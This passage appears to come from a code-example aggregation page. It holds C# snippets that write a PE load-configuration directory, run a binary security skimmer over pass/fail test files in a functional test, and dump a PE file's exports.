                _blob.Write(ref pos, (int)_info.TimeDateStamp.To_time_t());
                _blob.Write(ref pos, (short)_info.MajorVersion);
                _blob.Write(ref pos, (short)_info.MinorVersion);
                _blob.Write(ref pos, (uint)_info.GlobalFlagsClear);
                _blob.Write(ref pos, (uint)_info.GlobalFlagsSet);
                _blob.Write(ref pos, (int)_info.CriticalSectionDefaultTimeout);
                _blob.Write(ref pos, (int)_info.DeCommitFreeBlockThreshold);
                _blob.Write(ref pos, (int)_info.DeCommitTotalFreeThreshold);
                _blob.Write(ref pos, (uint)_info.LockPrefixTable);
                _blob.Write(ref pos, (int)_info.MaximumAllocationSize);
                _blob.Write(ref pos, (int)_info.VirtualMemoryThreshold);
                _blob.Write(ref pos, (int)_info.ProcessHeapFlags);
                _blob.Write(ref pos, (uint)_info.ProcessAffinityMask);
                _blob.Write(ref pos, (short)_info.CSDVersion);
                _blob.Write(ref pos, (short)_info.Reserved1);
                _blob.Write(ref pos, (uint)_info.EditList);
                _blob.Write(ref pos, (uint)_info.SecurityCookie);
                _blob.Write(ref pos, (uint)_info.SEHandlerTable);
                _blob.Write(ref pos, (uint)_info.SEHandlerCount);
            }
            else
            {
                _blob.Write(ref pos, (int)_info.Characteristics);
                _blob.Write(ref pos, (int)_info.TimeDateStamp.To_time_t());
                _blob.Write(ref pos, (short)_info.MajorVersion);
                _blob.Write(ref pos, (short)_info.MinorVersion);
                _blob.Write(ref pos, (uint)_info.GlobalFlagsClear);
                _blob.Write(ref pos, (uint)_info.GlobalFlagsSet);
                _blob.Write(ref pos, (int)_info.CriticalSectionDefaultTimeout);
                _blob.Write(ref pos, (long)_info.DeCommitFreeBlockThreshold);
                _blob.Write(ref pos, (long)_info.DeCommitTotalFreeThreshold);
                _blob.Write(ref pos, (ulong)_info.LockPrefixTable);
                _blob.Write(ref pos, (long)_info.MaximumAllocationSize);
                _blob.Write(ref pos, (long)_info.VirtualMemoryThreshold);
                _blob.Write(ref pos, (ulong)_info.ProcessAffinityMask);
                _blob.Write(ref pos, (int)_info.ProcessHeapFlags);
                _blob.Write(ref pos, (short)_info.CSDVersion);
                _blob.Write(ref pos, (short)_info.Reserved1);
                _blob.Write(ref pos, (ulong)_info.EditList);
                _blob.Write(ref pos, (ulong)_info.SecurityCookie);
                _blob.Write(ref pos, (ulong)_info.SEHandlerTable);
                _blob.Write(ref pos, (ulong)_info.SEHandlerCount);
            }

            // Set data directories
            // For compatibility with Windows XP and earlier versions of Windows,
            // the size must be 64 for x86 images.
            PE.Fixups.Add(
                new PEBuilder.SetDataDirectoryFromBlobRVAFixup(
                    DataDirectories.LoadConfigTable, _blob, 0, 64));

            // Add _blobs
            BuildSection section = PE.GetSection(_sectionName);

            section.Blobs.Add(_blob, _blobPriority);
        }
Example #44
0
        private void Verify(
            IBinarySkimmer skimmer,
            IEnumerable <string> additionalTestFiles,
            bool useDefaultPolicy,
            bool expectToPass)
        {
            var    targets            = new List <string>();
            string ruleName           = skimmer.GetType().Name;
            string testFilesDirectory = ruleName;

            testFilesDirectory = Path.Combine(Environment.CurrentDirectory, "FunctionalTestsData", testFilesDirectory);
            testFilesDirectory = Path.Combine(testFilesDirectory, expectToPass ? "Pass" : "Fail");

            Assert.True(Directory.Exists(testFilesDirectory));

            foreach (string target in Directory.GetFiles(testFilesDirectory, "*", SearchOption.AllDirectories))
            {
                if (AnalyzeCommand.ValidAnalysisFileExtensions.Contains(Path.GetExtension(target)))
                {
                    targets.Add(target);
                }
            }

            if (additionalTestFiles != null)
            {
                foreach (string additionalTestFile in additionalTestFiles)
                {
                    targets.Add(additionalTestFile);
                }
            }

            var context = new BinaryAnalyzerContext();
            var logger  = new TestMessageLogger();

            context.Logger = logger;
            PropertyBag policy = null;

            if (useDefaultPolicy)
            {
                policy = new PropertyBag();
            }
            context.Policy = policy;

            skimmer.Initialize(context);

            foreach (string target in targets)
            {
                PE pe = new PE(target);
                if (!pe.IsPEFile)
                {
                    continue;
                }

                context = AnalyzeCommand.CreateContext(logger, policy, target);

                context.Rule = skimmer;

                string reasonForNotAnalyzing;
                if (skimmer.CanAnalyze(context, out reasonForNotAnalyzing) != AnalysisApplicability.ApplicableToSpecifiedTarget)
                {
                    continue;
                }

                skimmer.Analyze(context);
            }

            HashSet <string> expected     = expectToPass ? logger.PassTargets : logger.FailTargets;
            HashSet <string> other        = expectToPass ? logger.FailTargets : logger.PassTargets;
            string           expectedText = expectToPass ? "success" : "failure";
            string           actualText   = expectToPass ? "failed" : "succeeded";
            var sb = new StringBuilder();

            foreach (string target in targets)
            {
                if (expected.Contains(target))
                {
                    expected.Remove(target);
                    continue;
                }
                bool missingEntirely = !other.Contains(target);

                if (missingEntirely)
                {
                    sb.AppendLine("Expected '" + ruleName + "' " + expectedText + " but saw no result at all for file: " + Path.GetFileName(target));
                }
                else
                {
                    other.Remove(target);
                    sb.AppendLine("Expected '" + ruleName + "' " + expectedText + " but check " + actualText + " for: " + Path.GetFileName(target));
                }
            }

            if (sb.Length > 0)
            {
                _testOutputHelper.WriteLine(sb.ToString());
            }

            Assert.Equal(0, sb.Length);
            Assert.Equal(0, expected.Count);
            Assert.Equal(0, other.Count);
        }
Example #45
0
        public static void DumpExports(PE Pe, Action <IPrettyPrintable> Printer)
        {
            PEExports Exports = new PEExports(Pe);

            Printer(Exports);
        }